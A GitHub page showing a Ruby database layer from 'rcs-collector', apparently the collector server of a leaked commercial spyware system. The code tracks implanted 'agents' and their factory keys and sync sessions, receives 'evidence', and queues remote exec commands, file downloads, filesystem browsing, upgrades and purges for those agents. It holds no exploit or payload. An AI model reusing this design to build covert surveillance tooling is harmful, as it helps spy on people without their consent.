hackedteam/rcs-collector

View on GitHub
lib/rcs-collector/db.rb

Summary

Maintainability
F
3 days
Test Coverage
#
#  The DB abstraction layer
#

# relatives
require_relative 'config.rb'
require_relative 'db_rest.rb'
require_relative 'db_cache.rb'
require_relative 'my_ip.rb'

# from RCS::Common
require 'rcs-common/trace'

# system
require 'digest/md5'
require 'uuidtools'
require 'socket'

module RCS
module Collector

class DB
  include Singleton
  include RCS::Tracer

  ACTIVE_AGENT = 0
  DELETED_AGENT = 1
  CLOSED_AGENT = 2
  QUEUED_AGENT = 3
  NO_SUCH_AGENT = 4
  UNKNOWN_AGENT = 5

  AGENT_STATUSES = {active: 0, delete: 1, closed: 2, queued: 3, noagent: 4, unknown: 5}

  attr_reader :agent_signature
  attr_reader :network_signature
  attr_reader :check_signature
  attr_reader :crc_signature
  attr_reader :sha1_signature

  def initialize
    # database address
    @host = Config.instance.global['DB_ADDRESS'].to_s + ":" + Config.instance.global['DB_PORT'].to_s

    # the username is an unique identifier for each machine.
    @username = local_instance

    # the password is a signature taken from a file
    @password = File.read(Config.instance.file('DB_SIGN'))

    # the version of the collector
    @build = File.read(Dir.pwd + '/config/VERSION_BUILD')

    # status of the db connection
    @available = false

    # global (per customer) agent signature
    @agent_signature = nil
    # signature for the network elements
    @network_signature = nil
    # signature for the integrity check
    @check_signature = nil
    @crc_signature = nil
    @sha1_signature = nil
    # class keys
    @factory_keys = {}
    
    # the current db layer REST
    @db_rest = DB_rest.new @host
    
    return @available
  end

  def local_instance
    # we use the MD5 of the MAC address
    # if mac address is not available, fallback to hostname
    begin
      unique_id = UUIDTools::UUID.mac_address.to_s
    rescue Exception => e
      unique_id = Socket.gethostname
    end
    Digest::MD5.hexdigest(unique_id)
  end

  def connect!(type)
    trace :info, "Checking the DB connection [#{@host}]..."

    # special case for the collector
    @username += ':' + ($external_address || '') if type.eql? :collector and not @username[':']

    if @db_rest.login(@username, @password, @build, type)
      @available = true
      trace :info, "Connected to [#{@host}]"
    else
      @available = false
      trace :error, "Cannot login to DB"
    end
    return @available
  end

  def disconnect!
    @db_rest.logout
    @available = false
    trace :info, "Disconnected from [#{@host}]"
  end

  private
  def connected=(value)
    # set this variable accordingly in each method to detect when the db is down
    @available = value
    if @available then
      trace :info, "DB is up and running"
    else
      trace :warn, "DB is now considered NOT available"
    end
  end

  public
  def connected?
    # is the database available ?
    return @available
  end

  # wrapper method for all the calls to the underlying layers
  # on error, it will consider the db failed
  def db_rest_call(method, *args)
    begin
      return @db_rest.send method, *args
    rescue
      self.connected = false
      return nil
    end
  end

  def cache_init
    # if the db is available, clear the cache and populate it again
    if @available
      # get the global signature (per customer) for all the agents
      bck_sig = db_rest_call :agent_signature
      @agent_signature = Digest::MD5.digest bck_sig unless bck_sig.nil?

      # get the network signature to communicate with the network elements
      net_sig = db_rest_call :network_signature
      @network_signature = net_sig unless net_sig.nil?

      # get the integrity check signature
      check_sig = db_rest_call :check_signature
      @check_signature = check_sig unless check_sig.nil?
      crc_sig = db_rest_call :crc_signature
      @crc_signature = crc_sig unless crc_sig.nil?
      sha1_sig = db_rest_call :sha1_signature
      @sha1_signature = sha1_sig unless sha1_sig.nil?

      # get the factory key of every agent
      keys = db_rest_call :factory_keys
      @factory_keys = keys unless keys.nil?

      # errors while retrieving the data from the db
      return false if bck_sig.nil? or keys.nil? or net_sig.nil? or check_sig.nil?

      trace :info, "Emptying the DB cache..."
      # empty the cache and populate it again
      DBCache.empty!

      trace :info, "Populating the DB cache..."
      # save in the permanent cache
      DBCache.agent_signature = bck_sig
      trace :info, "Agent signature saved in the DB cache"
      DBCache.network_signature = net_sig
      trace :info, "Network signature saved in the DB cache"
      DBCache.check_signature = check_sig
      DBCache.crc_signature = crc_sig
      DBCache.sha1_signature = sha1_sig
      trace :info, "Integrity check signature saved in the DB cache"
      DBCache.add_factory_keys @factory_keys
      trace :info, "#{@factory_keys.length} entries saved in the the DB cache"

      return true
    end

    # the db is not available
    # check if the cache already exists and has some entries
    if DBCache.length > 0
      trace :info, "Loading the DB cache..."

      # populate the memory cache from the permanent one
      @agent_signature = Digest::MD5.digest DBCache.agent_signature unless DBCache.agent_signature.nil?
      @network_signature = DBCache.network_signature unless DBCache.network_signature.nil?
      @check_signature = DBCache.check_signature unless DBCache.check_signature.nil?
      @crc_signature = DBCache.crc_signature unless DBCache.crc_signature.nil?
      @sha1_signature = DBCache.sha1_signature unless DBCache.sha1_signature.nil?
      @factory_keys = DBCache.factory_keys

      trace :info, "#{@factory_keys.length} entries loaded from DB cache"

      return true
    end

    # no db and no cache...
    return false
  end

  def update_status(component, ip, status, message, stats, type, version)
    return unless @available

    trace :debug, "[#{component}]: #{status} #{message} #{stats}"
    db_rest_call :status_update, component, ip, status, message, stats[:disk], stats[:cpu], stats[:pcpu], type, version
  end

  def valid_factory_key?(key)
    key && key.respond_to?(:[]) && key['key'].to_s.size > 0 && key.has_key?('good')
  end

  def factory_key_of(build_id)
    # if we already have it return otherwise we have to ask to the db
    return Digest::MD5.digest(@factory_keys[build_id]['key']) if valid_factory_key?(@factory_keys[build_id])

    trace :info, "Cache Miss: factory key for #{build_id}, asking to the db..."

    unless @available
      trace :warn, "Db unavailable. Cannot retrieve missed key."
      return nil
    end

    # ask to the db the factory key
    resp = db_rest_call :factory_keys, build_id

    # save the factory key in the cache (memory and permanent)
    if resp && valid_factory_key?(resp[build_id])
      trace :info, "Received key for #{build_id}. Saving into cache."

      @factory_keys[build_id] = resp[build_id]

      # store it in the permanent cache
      DBCache.add_factory_keys(resp)

      # return the key
      return Digest::MD5.digest resp[build_id]['key']
    end

    # key not found
    return nil
  end

  # returns ALWAYS the status of an agent
  def agent_status(build_id, instance_id, platform, demo, level)
    # if the database has gone, reply with a fake response in order for the sync to continue
    return agent_cached_status(build_id) unless @available

    trace :debug, "Asking the status of [#{build_id}_#{instance_id}] to the db"

    # ask the database the status of the agent
    agent = db_rest_call :agent_status, build_id, instance_id, platform, demo, level

    trace :info, "Status of [#{build_id}_#{instance_id}] is: #{AGENT_STATUSES.key(agent[:status])}, #{level}, #{agent[:good] ? 'good' : 'bad'}"

    return [agent[:status], agent[:id], agent[:good]]
  rescue Exception => e
    trace :info, "Cannot determine status of [#{build_id}_#{instance_id}], getting status from cache"
    cached = agent_cached_status(build_id)
    trace :info, "Cached status is: #{AGENT_STATUSES.key(cached[0])}, #{level}, #{cached[2] ? 'good' : 'bad'}"
    return cached
  end

  def agent_cached_status(build_id)
    cached_good_value = DBCache.factory_keys[build_id]['good'] rescue false
    cached_good_value = cached_good_value.to_s == 'true' ? true : false
    return [DB::UNKNOWN_AGENT, 0, cached_good_value]
  end

  def agent_availables(session)
    return [] unless @available

    db_rest_call :agent_availables, session
  end

  def agent_uninstall(agent_id)
    # database is down, continue
    return unless @available

    db_rest_call :agent_uninstall, agent_id
  end

  def sync_start(session, version, user, device, source, time)
    # database is down, continue
    return unless @available

    # tell the db that the agent has synchronized
    db_rest_call :sync_start, session, version, user, device, source, time
  end

  def sync_update(session, version, user, device, source, time)
    # database is down, continue
    return unless @available

    # tell the db that the agent has synchronized
    db_rest_call :sync_update, session, version, user, device, source, time
  end

  def sync_timeout(session)
    # database is down, continue
    return unless @available

    db_rest_call :sync_timeout, session
  end

  def sync_end(session)
    # database is down, continue
    return unless @available

    db_rest_call :sync_end, session
  end

  def send_evidence(instance, evidence)
    return unless @available

    db_rest_call :send_evidence, instance, evidence
  end

  def get_worker(instance)
    return unless @available

    # replace the _ to : in the instance before askig to db (which wants it in that format)
    mod_instance = instance.dup
    mod_instance[14] = ':'
    db_rest_call :get_worker, mod_instance
  end

  def new_conf?(bid)
    # check if we have the config in the cache
    # probably and old one not yet sent
    return true if DBCache.new_conf? bid
    # cannot reach the db, return false
    return false unless @available

    # retrieve the config from the db
    config = db_rest_call :new_conf, bid

    # put the config in the cache
    DBCache.save_conf bid, config unless config.nil?

    return (config.nil?) ? false : true
  end

  def new_conf(bid)
    # retrieve the config from the cache
    config = DBCache.new_conf bid

    return nil if config.nil?

    # delete the conf from the cache
    DBCache.del_conf bid

    return config
  end

  def activate_conf(bid)
    # set the status to "activated" in the db
    db_rest_call :activate_conf, bid if @available
  end

  def new_uploads?(bid)
    # check if we have the uploads in the cache
    # probably and old one not yet sent
    return true if DBCache.new_uploads? bid
    # cannot reach the db, return false
    return false unless @available

    # retrieve the upload from the db
    uploads = db_rest_call :new_uploads, bid

    # put the upload in the cache
    DBCache.save_uploads bid, uploads unless (uploads.nil? or uploads.empty?) 

    return (uploads.nil? or uploads.empty?) ? false : true
  end

  def new_uploads(bid)
    # retrieve the uploads from the cache
    upload, left = DBCache.new_upload bid

    return nil if upload.nil?

    # delete from the db
    db_rest_call :del_upload, bid, upload[:id] if @available

    # delete the upload from the cache
    DBCache.del_upload bid, upload[:id]

    return upload[:upload], left
  end

  def new_upgrade?(bid)
    # cannot reach the db, return false
    return false unless @available

    # remove any pending entry in the cache
    # the upgrade must be retrieved always from the db to avoid partial
    # corrupted multi-file upgrade
    DBCache.clear_upgrade bid

    # retrieve the upgrade from the db
    upgrades = db_rest_call :new_upgrades, bid

    # put the upgrade in the cache
    DBCache.save_upgrade bid, upgrades unless (upgrades.nil? or upgrades.empty?)

    return (upgrades.nil? or upgrades.empty?) ? false : true
  end

  def new_upgrade(bid, flavor)
    # retrieve the uploads from the cache
    upgrade, left = DBCache.new_upgrade(bid, flavor)

    return nil if upgrade.nil?

    # delete the upgrade from the cache
    DBCache.del_upgrade bid, upgrade[:id]

    # delete from the db only if all the file have been transmitted
    if left == 0
      DBCache.del_upgrade bid
      db_rest_call :del_upgrade, bid if @available
    end

    return upgrade[:upgrade], left
  end

  def new_downloads?(bid)
    # check if we have the downloads in the cache
    # probably and old one not yet sent
    return true if DBCache.new_downloads? bid
    # cannot reach the db, return false
    return false unless @available

    # retrieve the downloads from the db
    downloads = db_rest_call :new_downloads, bid

    # put the download in the cache
    DBCache.save_downloads bid, downloads unless (downloads.nil? or downloads.empty?)

    return (downloads.nil? or downloads.empty?) ? false : true
  end

  def new_downloads(bid)
    # retrieve the downloads from the cache
    downloads = DBCache.new_downloads bid

    return [] if downloads.empty?

    down = []
    # remove the downloads from the db
    downloads.each_pair do |key, value|
      # delete the entry from the db
      db_rest_call :del_download, bid, key if @available
      # return only the filename
      down << value
    end

    # delete the download from the cache
    DBCache.del_downloads bid

    return down
  end

  def new_filesystems?(bid)
    # check if we have the filesystems in the cache
    # probably and old one not yet sent
    return true if DBCache.new_filesystems? bid
    # cannot reach the db, return false
    return false unless @available

    # retrieve the filesystem from the db
    filesystems = db_rest_call :new_filesystems, bid

    # put the filesystem in the cache
    DBCache.save_filesystems bid, filesystems unless (filesystems.nil? or filesystems.empty?)

    return (filesystems.nil? or filesystems.empty?) ? false : true
  end

  def new_filesystems(bid)
    # retrieve the filesystems from the cache
    filesystems = DBCache.new_filesystems bid

    return [] if filesystems.empty?

    files = []
    # remove the filesystems from the db
    filesystems.each_pair do |key, value|
      # delete the entry from the db
      db_rest_call :del_filesystem, bid, key if @available
      # return only the {:depth => , :path => } hash
      files << value
    end

    # delete the filesystem from the cache
    DBCache.del_filesystems bid

    return files
  end

  def purge?(bid)
    # cannot reach the db, return false
    return false unless @available

    # retrieve the values from the db
    values = db_rest_call :purge, bid

    return values != [0, 0]
  end

  def purge(bid)
    # cannot reach the db, return false
    return [0, 0] unless @available

    # retrieve the values from the db
    values = db_rest_call :purge, bid
    db_rest_call :del_purge, bid

    return values
  end

  def new_exec?(bid)
    # check if we have any exec in the cache
    # probably and old one not yet sent
    return true if DBCache.new_exec? bid
    # cannot reach the db, return false
    return false unless @available

    # retrieve the exec from the db
    commands = db_rest_call :new_exec, bid

    # put the download in the cache
    DBCache.save_exec bid, commands unless (commands.nil? or commands.empty?)

    return (commands.nil? or commands.empty?) ? false : true
  end

  def new_exec(bid)
    # retrieve the downloads from the cache
    commands = DBCache.new_exec bid

    return [] if commands.empty?

    down = []
    # remove the exec from the db
    commands.each_pair do |key, value|
      # delete the entry from the db
      db_rest_call :del_exec, bid, key if @available
      # return only the filename
      down << value
    end

    # delete the download from the cache
    DBCache.del_exec bid

    return down
  end

  def injectors
    # return empty if not available
    return [] unless @available

    # TODO: insert some cache here

    # ask the db
    ret = db_rest_call :get_injectors

    # return the results or empty on error
    return ret || []
  end

  def collectors
    # return empty if not available
    return [] unless @available

    # TODO: insert some cache here

    # ask the db
    ret = db_rest_call :get_collectors

    # return the results or empty on error
    return ret || []
  end

  def update_injector_version(id, version)
    return unless @available
    db_rest_call :injector_set_version, id, version
  end

  def update_collector_version(id, version)
    return unless @available
    db_rest_call :collector_set_version, id, version
  end

  def injector_config(id)
    return unless @available
    db_rest_call :injector_config, id
  end

  def injector_upgrade(id)
    return unless @available
    db_rest_call :injector_upgrade, id
  end

  def injector_add_log(id, time, type, desc)
    return unless @available
    db_rest_call :injector_add_log, id, time, type, desc
  end

  def collector_add_log(id, time, type, desc)
    return unless @available
    db_rest_call :collector_add_log, id, time, type, desc
  end

  def first_anonymizer
    return {} unless @available
    db_rest_call :first_anonymizer
  end

  def collector_address
    return {} unless @available
    db_rest_call :collector_address
  end

  def public_delete(file)
    return unless @available
    db_rest_call :public_delete, file
  end

  def network_protocol_cookies(force=false)
    # use in memory cache for the results
    cookies = @np_cookies

    return cookies unless @available
    return cookies if not cookies.nil? and not cookies.empty? and not force

    @np_cookies = db_rest_call :network_protocol_cookies if @available
    return @np_cookies
  end

  def updater_signature
    signature_file = Config.instance.file("rcs-updater.sig")
    signature = File.exists?(signature_file) ? File.read(signature_file) : ''

    if signature.empty?
      signature = db_rest_call(:updater_signature)
      File.open(signature_file, 'wb') { |file| file.write(signature) }
    end

    return signature
  end

end #DB

end #Collector::
end #RCS::